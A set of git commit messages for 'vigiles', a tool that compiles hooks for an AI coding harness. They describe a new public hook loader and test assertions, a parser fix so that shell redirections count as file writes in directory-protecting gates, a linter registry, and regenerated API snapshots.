Invalid JSON is a loud skip, never a rewrite. Gated by the existing
`--no-plugin`; skipped in the vigiles repo itself.
`removeVigilesDeclaration` ships tested alongside it, deliberately not wired to
`eject`: `eject [file]` is the per-file inverse of `compile`, and repo-scoped
plugin wiring is not a property of any one file. Reasoning and the two-key
manual removal are documented.
Co-Authored-By: Claude <noreply@anthropic.com>
---------
Co-authored-by: Claude <noreply@anthropic.com>
The compiled-hook testing story had a hole at each end.
1. NO PUBLIC LOADER. `assertHookDenies(hook, event)` / `assertHookAllows` take
the hook OBJECT, but a `.harness.mjs` test only has its PATH, and the loader
that bridges the two (`loadHookProgram`) lived privately inside `cli.ts`. So
the intended in-process test path was unreachable from the file format
`vigiles test` actually runs, and authors fell back to spawning the runtime
as a subprocess — precisely the plumbing compiled hooks exist to remove.
`loadHook(path)` is now exported from `vigiles/testing` and `vigiles/unit`,
and the CLI runtime calls the SAME function, so a hook that loads in a test
loads identically in production (one loader, no drift). It keeps the
actionable errors: a `.ts` hook on a runtime without type stripping says to
use tsx / Node >= 23.6, and a module with no default export says
`use \`export default defineHook({…})\``.
2. NO ASSERTION FOR A REACT HOOK. A react can't block, so the gate assertions
don't apply, and nothing else did either. That left `notice()` a live trap:
its message goes to STDERR, so a probe built on `execFileSync` (stdout only)
sees nothing and reports a healthy react hook as DEAD — measured against
three real hooks on 2026-08-03.
`assertHookNotices(hook, event, matcher?)` and `assertHookSilent(hook, event)`
read the reaction in-process, so the stream never enters into it. Both name
what they got instead on failure, including when aimed at the wrong role.
Also ships the example the finding asked for:
`examples/harness/compiled-hook-inprocess.harness.mjs` loads a gate and a react
hook BY PATH and asserts over both. It runs under `vigiles test` (so CI proves
the documented pattern works, not just that it parses), and the docs in
compiled-hooks.md / testing-api.md now show this path, with the stderr trap
called out explicitly.
Co-authored-by: Claude <noreply@anthropic.com>
`leafCommandsNormalized("echo x > papers/x/paper.md")` returned
[{head:"echo", argv:["echo","x"], args:["x"], flags:{}, assigns:{}}]
The redirection and its target were DROPPED by the parser — they live on the
enclosing `Stmt`, and the walk only visited `CallExpr` nodes. So the file the
command actually WROTE appeared in no field of any leaf, and `cmd > file` /
`cmd >> file` — the single most common write shape — was invisible to any
compiled gate. A gate written to protect a directory from Bash writes was
silently weaker than the `grep` it replaced.
The only available discriminator was `isSideEffecting()`, which classifies the
WHOLE command line. So `grep -c x notes/S.md 2>/dev/null` classified
side-effecting, `touches` matched, and a plain READ got blocked. Measured
while dogfooding on 2026-08-03: it blocked real work twice within an hour.
Two changes:
1. `NormalizedLeaf.redirects: readonly LeafRedirect[]` — `{op, target, fd,
writes}` per redirection, target quote-unwrapped and $HOME-canonicalized
like every other word (dynamic → null, present but unresolved, never
guessed). `leafCommandsNormalized` now iterates `Stmt`s; every `CallExpr`
in the mvdan AST is a `Stmt.Cmd`, so the same leaves are found.
2. `CommandView.writesTo(prefixes)` — answers the WRITE question precisely:
redirect targets with a write op, plus the argv positions of known
file-writing programs (`sed -i`, `cp`/`mv`/`install` destination, `tee`,
`dd of=`, `truncate`, `shred`). An unlisted head contributes no target, so
it never guesses.
`touches` is unchanged — it still answers "mentioned" — and both doc comments
now say so explicitly, since conflating them is exactly the trap.
Quoting is handled by the PARSER, not a regex, so a write quoted inside
another command does not match: in `echo 'echo y > a/paper.md' > /tmp/note.txt`
the only real target is `/tmp/note.txt`. Pinned by a test.
The mvdan redirect-op codes have no public name mapping, so a test re-derives
the whole `op -> string` + write-classification table from the installed
parser: an upgrade that renumbers a token fails loudly instead of silently
reclassifying a write as a read.
Co-authored-by: Claude <noreply@anthropic.com>
LinterAdapter registry (Record<BuiltinLinter, LinterAdapter>) makes a missing linter a tsc error; generate-types iterates the registry; conformance test set-matches registry vs BUILTIN_LINTERS + docs + site chip list. CI installs detekt/ktlint/checkstyle/golangci-lint so their gated tests run (no silent skips). Docs/site catalogs->linters parity. add-a-linter contributor skill. Report-view teaser cards lightened + linter footnote de-staled. Stage 4 (dispatch-map collapse) tracked as a follow-up.
The Codex-experimental caveat added in #79 introduced additive public API
(CODEX_TRIGGER_RATE_EXPERIMENTAL on vigiles/codex; optional `experimental?`
fields on EvalDriver and TriggerRateReport on vigiles/testing) but the
committed api-surface snapshots were never regenerated, so the API surface
gate has been failing on main. Regenerate to match the shipped surface.
All additive — no exports removed, not a breaking change.
Co-authored-by: Claude <noreply@anthropic.com>
zernie